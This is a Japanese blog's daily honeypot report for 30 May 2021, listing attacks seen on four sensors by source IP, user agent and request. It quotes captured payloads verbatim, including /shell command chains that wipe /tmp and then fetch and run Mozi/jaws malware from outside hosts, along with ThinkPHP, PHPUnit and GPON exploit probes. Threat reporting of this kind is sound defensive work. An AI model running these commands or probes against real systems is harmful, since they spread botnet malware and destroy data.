2021/05/30 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2021/05/30分です。

特徴

共通

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Apache Tomcatへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

クラウド環境のメタデータ情報を狙うアクセス
/.envへのスキャン行為
phpMyAdminへのスキャン行為
WordPressへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  116.202.106.221/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http[:]//117[.]242[.]54[.]58:37221/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：US

phpMyAdminへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location：UK

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  116.202.106.221/jaws;
sh /tmp/jaws

Location：SG

DrayTek製品の脆弱性を狙うアクセス
XTCによるスキャン行為
/.envへのスキャン行為
WordPressへのスキャン行為
110[.]242[.]68[.]4に関する不正通信
を確認しました。

他

アクセス数推移

JP：総アクセス数：161 (前日比：+112)
US：総アクセス数：109 (前日比：-493)
UK：総アクセス数：385 (前日比：+52)
SG：総アクセス数：53 (前日比：-433)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.85.216.252	China
1	1.202.112.26	China
3	20.39.43.20	United States
3	20.48.3.60	United States
3	20.199.104.235	United States
1	34.220.69.234	United States
1	35.182.224.114	United States
1	36.5.219.197	China
1	36.32.3.89	China
1	45.79.157.103	United States
11	45.146.164.125	Russia
1	47.241.193.60	United States
1	59.4.120.73	South Korea
3	59.108.78.99	China
1	71.192.2.53	United States
1	79.12.57.99	Italy
101	87.135.226.228	Germany
1	106.45.11.254	China
1	112.117.103.50	China
1	113.128.104.252	China
3	117.239.149.94	India
1	117.242.54.58	India
1	119.39.46.72	China
1	120.0.176.13	China
8	122.9.49.67	China
1	124.227.31.218	China
2	132.145.151.103	United States
1	132.145.196.125	United States
1	159.203.126.4	United States
1	172.104.242.173	United States
1	192.241.211.49	United States
1	221.213.75.61	China
1	221.213.75.150	China

UserAgent一覧

件数	UserAgent
8	-
1	Hello, world
8	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
101	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
15	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
1	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.01669615 Mozilla/5.0 (Linux; Android 5.1; S900PROBT Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
2	User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705
1	python-requests/2.18.4

リクエスト内容一覧

件数	Method	Request	Protocol
4		\x16\x03\x01
1	CONNECT	cn[.]bing[.]com/:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com/:443	HTTP/1.1
1	CONNECT	www[.]so[.]com/:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com/:443	HTTP/1.1
9	GET	/.env	HTTP/1.1
1	GET	/0bef	HTTP/1.0
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=cJuiTnki	HTTP/1.1
2	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/console/	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/invoker/readonly	HTTP/1.1
1	GET	/jenkins/login	HTTP/1.1
1	GET	/login	HTTP/1.1
4	GET	/manager/html	HTTP/1.1
104	GET	/phpmyadmin/	HTTP/1.1
2	GET	/shell?cd+/tmp;rm+-rf+*;wget+ 116.202.106.221/jaws;sh+/tmp/jaws
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//117[.]242[.]54[.]58:37221/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/sql/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
3	GET	/xmlrpc.php?rsd	HTTP/1.1
1	GET	http[:]//169[.]254[.]169[.]254/latest/meta-data/	HTTP/1.1
1	GET	http[:]//dongtaiwang[.]com/	HTTP/1.1
1	GET	http[:]//passport[.]baidu[.]com/	HTTP/1.1
1	GET	http[:]//www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http[:]//www[.]minghui[.]org/	HTTP/1.1
1	GET	http[:]//www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http[:]//www[.]soso[.]com/	HTTP/1.1
1	GET	http[:]//www[.]wujieliulan[.]com/	HTTP/1.1
1	HEAD	http[:]//110[.]242[.]68[.]4/	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/_ignition/execute-solution	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
10	1.14.145.63	China
5	1.116.223.165	China
1	2.57.122.222	Romania
48	2.201.224.207	Germany
18	20.42.57.23	United States
1	45.120.139.134	India
1	45.134.225.243	Germany
11	45.146.164.125	Russia
2	50.225.218.234	United States
3	163.172.161.118	United Kingdom
1	172.104.242.173	United States
1	172.105.89.161	United States
1	172.245.158.3	United States
1	185.153.199.105	Russia
1	188.165.222.21	France
1	192.241.208.176	United States
1	192.241.211.140	United States
1	195.122.2.198	Latvia
1	223.149.230.233	China

UserAgent一覧

件数	UserAgent
4	-
1	Go-http-client/1.1
1	Hello, world
1	Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:53.0.2) Gecko/20100101 Firefox/53.0.2
18	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
48	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
6	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 zgrab/0.x
1	curl/7.61.1

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
1	CONNECT	www[.]bing[.]com/:443	HTTP/1.1
7	GET	/.env	HTTP/1.1
1	GET	/0bef	HTTP/1.0
1	GET	/2018/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/2019/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
3	GET	/MyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/PMA2013/index.php?lang=en	HTTP/1.1
1	GET	/PMA2018/index.php?lang=en	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
2	GET	/TP/index.php	HTTP/1.1
2	GET	/TP/public/index.php	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
3	GET	/admin/db/index.php?lang=en	HTTP/1.1
1	GET	/admin/web/index.php?lang=en	HTTP/1.1
1	GET	/blog/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/cms/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/console/	HTTP/1.1
1	GET	/db/phpMyAdmin/index.php?lang=en	HTTP/1.1
3	GET	/db/phpMyAdmin3/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin3/index.php?lang=en	HTTP/1.1
2	GET	/db/websql/index.php?lang=en	HTTP/1.1
1	GET	/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
2	GET	/html/public/index.php	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/media/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/mysql/pMA/index.php?lang=en	HTTP/1.1
1	GET	/mysql/pma/index.php?lang=en	HTTP/1.1
1	GET	/news/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/php-myadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin4/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin_/index.php?lang=en	HTTP/1.1
1	GET	/phpMyadmin/index.php?lang=en	HTTP/1.1
2	GET	/phpmy-admin/index.php?lang=en	HTTP/1.1
1	GET	/phpmy/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2016/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2017/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/phppma/index.php?lang=en	HTTP/1.1
1	GET	/pma/index.php?lang=en	HTTP/1.1
1	GET	/pma2012/index.php?lang=en	HTTP/1.1
1	GET	/pma2014/index.php?lang=en	HTTP/1.1
2	GET	/public/index.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/shop/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/shopdb/index.php?lang=en	HTTP/1.1
1	GET	/site/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/sito/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/sql/myadmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmy-admin/index.php?lang=en	HTTP/1.1
1	GET	/sql/sql/index.php?lang=en	HTTP/1.1
1	GET	/sql/webdb/index.php?lang=en	HTTP/1.1
1	GET	/sql/websql/index.php?lang=en	HTTP/1.1
1	GET	/test/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/web/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/website/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wordpress/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp1/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp2/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/xmlrpc.php?rsd	HTTP/1.1
1	GET	http[:]//www[.]bing[.]com/	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	http[:]//futility[.]best/4242bd7f6b012313de3c46f8f68d4c0eb809c25236097f8e5154392051a49567c76acc699c4b7b68632e6367a46b3d313814b9159de8e28f40ffa5dee8571ea65ff0e88b825061be14a447f665357b2ff29703a5ce3143710b5a94cbffac3989	HTTP/1.1
1		\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159	X\xd4>\x12\x98\xc4<\xe0\x13\xcf

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
10	1.117.16.182	China
122	34.118.71.241	United States
1	40.122.106.211	United States
1	45.120.16.111	India
11	45.146.164.125	Russia
123	66.128.254.104	United States
1	79.124.8.11	Bulgaria
101	80.135.88.170	Germany
1	114.36.210.166	Taiwan
7	125.64.94.136	China
2	162.62.123.46	Singapore
1	178.72.75.161	Russia
1	183.136.225.14	China
1	188.166.154.181	United States
1	192.241.203.106	United States
1	192.241.207.201	United States

UserAgent一覧

件数	UserAgent
11	-
1	Go-http-client/1.1
2	Hello, World
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
101	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
244	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2	Mozilla/5.0 zgrab/0.x
1	python-requests/2.18.4

リクエスト内容一覧

件数	Method	Request	Protocol
1		-
8		\x16\x03\x01
2	GET	/.env	HTTP/1.1
1	GET	/2phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
5	GET	/MyAdmin/index.php?lang=en	HTTP/1.1
3	GET	/PMA/index.php?lang=en	HTTP/1.1
2	GET	/PMA2011/index.php?lang=en	HTTP/1.1
1	GET	/PMA2014/index.php?lang=en	HTTP/1.1
2	GET	/PMA2015/index.php?lang=en	HTTP/1.1
1	GET	/PMA2016/index.php?lang=en	HTTP/1.1
2	GET	/PMA2018/index.php?lang=en	HTTP/1.1
1	GET	/PMA2019/index.php?lang=en	HTTP/1.1
1	GET	/PMA2020/index.php?lang=en	HTTP/1.1
1	GET	/PMA2021/index.php?lang=en	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
2	GET	/_ignition/execute-solution	HTTP/1.1
3	GET	/_phpMyAdmin/index.php?lang=en	HTTP/1.1
5	GET	/_phpmyadmin/index.php?lang=en	HTTP/1.1
2	GET	/admin/db/index.php?lang=en	HTTP/1.1
3	GET	/admin/index.php?lang=en	HTTP/1.1
1	GET	/admin/pMA/index.php?lang=en	HTTP/1.1
3	GET	/admin/phpMyAdmin/index.php?lang=en	HTTP/1.1
3	GET	/admin/phpmyadmin/index.php?lang=en	HTTP/1.1
3	GET	/admin/sqladmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/sysadmin/index.php?lang=en	HTTP/1.1
1	GET	/admin/web/index.php?lang=en	HTTP/1.1
3	GET	/administrator/PMA/index.php?lang=en	HTTP/1.1
1	GET	/administrator/admin/index.php?lang=en	HTTP/1.1
3	GET	/administrator/db/index.php?lang=en	HTTP/1.1
1	GET	/administrator/phpMyAdmin/index.php?lang=en	HTTP/1.1
2	GET	/administrator/phpmyadmin/index.php?lang=en	HTTP/1.1
5	GET	/administrator/pma/index.php?lang=en	HTTP/1.1
1	GET	/administrator/web/index.php?lang=en	HTTP/1.1
1	GET	/console/	HTTP/1.1
3	GET	/database/index.php?lang=en	HTTP/1.1
4	GET	/db/db-admin/index.php?lang=en	HTTP/1.1
3	GET	/db/dbadmin/index.php?lang=en	HTTP/1.1
2	GET	/db/dbweb/index.php?lang=en	HTTP/1.1
2	GET	/db/index.php?lang=en	HTTP/1.1
3	GET	/db/myadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin3/index.php?lang=en	HTTP/1.1
5	GET	/db/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/db/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/webdb/index.php?lang=en	HTTP/1.1
2	GET	/db/websql/index.php?lang=en	HTTP/1.1
3	GET	/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
4	GET	/myadmin/index.php?lang=en	HTTP/1.1
2	GET	/mysql/admin/index.php?lang=en	HTTP/1.1
2	GET	/mysql/db/index.php?lang=en	HTTP/1.1
4	GET	/mysql/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/pMA/index.php?lang=en	HTTP/1.1
3	GET	/mysql/pma/index.php?lang=en	HTTP/1.1
1	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
4	GET	/mysql/web/index.php?lang=en	HTTP/1.1
1	GET	/mysqladmin/index.php?lang=en	HTTP/1.1
4	GET	/mysqlmanager/index.php?lang=en	HTTP/1.1
2	GET	/php-myadmin/index.php?lang=en	HTTP/1.1
4	GET	/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin/index.php?lang=en	HTTP/1.1
5	GET	/phpMyAdmin1/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin2/index.php?lang=en	HTTP/1.1
3	GET	/phpMyAdmin3/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin4/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin5/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin_/index.php?lang=en	HTTP/1.1
3	GET	/phpMyadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmy-admin/index.php?lang=en	HTTP/1.1
3	GET	/phpmy/index.php?lang=en	HTTP/1.1
3	GET	/phpmyAdmin/index.php?lang=en	HTTP/1.1
101	GET	/phpmyadmin/	HTTP/1.1
2	GET	/phpmyadmin/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin1/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2012/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2013/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2015/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin2016/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2017/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2019/index.php?lang=en	HTTP/1.1
4	GET	/phpmyadmin2020/index.php?lang=en	HTTP/1.1
4	GET	/phpmyadmin2021/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin3/index.php?lang=en	HTTP/1.1
4	GET	/phpmyadmin5/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/phppma/index.php?lang=en	HTTP/1.1
3	GET	/pma/index.php?lang=en	HTTP/1.1
2	GET	/pma2011/index.php?lang=en	HTTP/1.1
1	GET	/pma2013/index.php?lang=en	HTTP/1.1
1	GET	/pma2014/index.php?lang=en	HTTP/1.1
1	GET	/pma2016/index.php?lang=en	HTTP/1.1
2	GET	/pma2017/index.php?lang=en	HTTP/1.1
1	GET	/pma2018/index.php?lang=en	HTTP/1.1
4	GET	/pma2019/index.php?lang=en	HTTP/1.1
2	GET	/pma2020/index.php?lang=en	HTTP/1.1
3	GET	/pma2021/index.php?lang=en	HTTP/1.1
5	GET	/program/index.php?lang=en	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+ 116.202.106.221/jaws;sh+/tmp/jaws
2	GET	/shopdb/index.php?lang=en	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/sql/myadmin/index.php?lang=en	HTTP/1.1
2	GET	/sql/php-myadmin/index.php?lang=en	HTTP/1.1
2	GET	/sql/phpMyAdmin/index.php?lang=en	HTTP/1.1
4	GET	/sql/phpMyAdmin2/index.php?lang=en	HTTP/1.1
2	GET	/sql/phpmanager/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmy-admin/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin2/index.php?lang=en	HTTP/1.1
1	GET	/sql/sql-admin/index.php?lang=en	HTTP/1.1
2	GET	/sql/sql/index.php?lang=en	HTTP/1.1
3	GET	/sql/sqladmin/index.php?lang=en	HTTP/1.1
3	GET	/sql/webadmin/index.php?lang=en	HTTP/1.1
3	GET	/sql/webdb/index.php?lang=en	HTTP/1.1
2	GET	/sql/websql/index.php?lang=en	HTTP/1.1
1	GET	/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	OPTIONS	/	RTSP/1.0
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
2	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	18.219.35.32	United States
1	27.224.137.81	China
1	35.182.224.114	United States
1	36.106.166.159	China
1	45.56.116.217	United States
11	45.146.164.125	Russia
1	49.113.99.218	China
1	52.151.47.90	United States
1	60.13.6.106	China
1	74.102.39.43	United States
1	79.12.57.99	Italy
1	104.200.24.211	United States
1	110.167.215.250	China
1	119.39.47.242	China
1	121.173.126.140	South Korea
1	124.227.31.51	China
8	140.210.90.232	China
1	147.135.115.235	United States
1	159.203.126.4	United States
1	162.62.123.46	Singapore
3	163.172.168.251	United Kingdom
1	171.116.203.11	China
1	172.104.7.181	United States
1	185.153.199.107	Russia
1	185.224.129.136	Netherlands
1	192.46.227.82	United States
1	192.241.211.143	United States
1	192.241.212.228	United States
1	194.195.215.122	United States
2	196.53.110.17	South Africa
1	221.13.12.69	China
1	221.213.75.62	China
1	222.172.197.110	China

UserAgent一覧

件数	UserAgent
3	-
1	Mozilla/5.0
8	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
9	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2	Mozilla/5.0 zgrab/0.x
1	Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
1	XTC
1	python-requests/2.18.4
1	python-requests/2.9.1

リクエスト内容一覧

件数	Method	Request	Protocol
1		\x03
1	CONNECT	cn[.]bing[.]com/:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com/:443	HTTP/1.1
1	CONNECT	www[.]bing[.]com/:443	HTTP/1.1
1	CONNECT	www[.]naver[.]com/:443	HTTP/1.1
1	CONNECT	www[.]so[.]com/:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com/:443	HTTP/1.1
10	GET	/.env	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=xHMyipVE	HTTP/1.1
2	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/console/	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21	HTTP/1.1
1	GET	/invoker/readonly	HTTP/1.1
1	GET	/jenkins/login	HTTP/1.1
1	GET	/login	HTTP/1.1
2	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
1	GET	http[:]//dongtaiwang[.]com/	HTTP/1.1
1	GET	http[:]//www[.]bing[.]com/	HTTP/1.1
1	GET	http[:]//www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http[:]//www[.]minghui[.]org/	HTTP/1.1
1	GET	http[:]//www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http[:]//www[.]soso[.]com/	HTTP/1.1
1	GET	http[:]//www[.]wujieliulan[.]com/	HTTP/1.1
1	HEAD	/	HTTP/1.1
1	HEAD	http[:]//110[.]242[.]68[.]4/	HTTP/1.1
1	OPTIONS	/	HTTP/1.0
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/_ignition/execute-solution	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
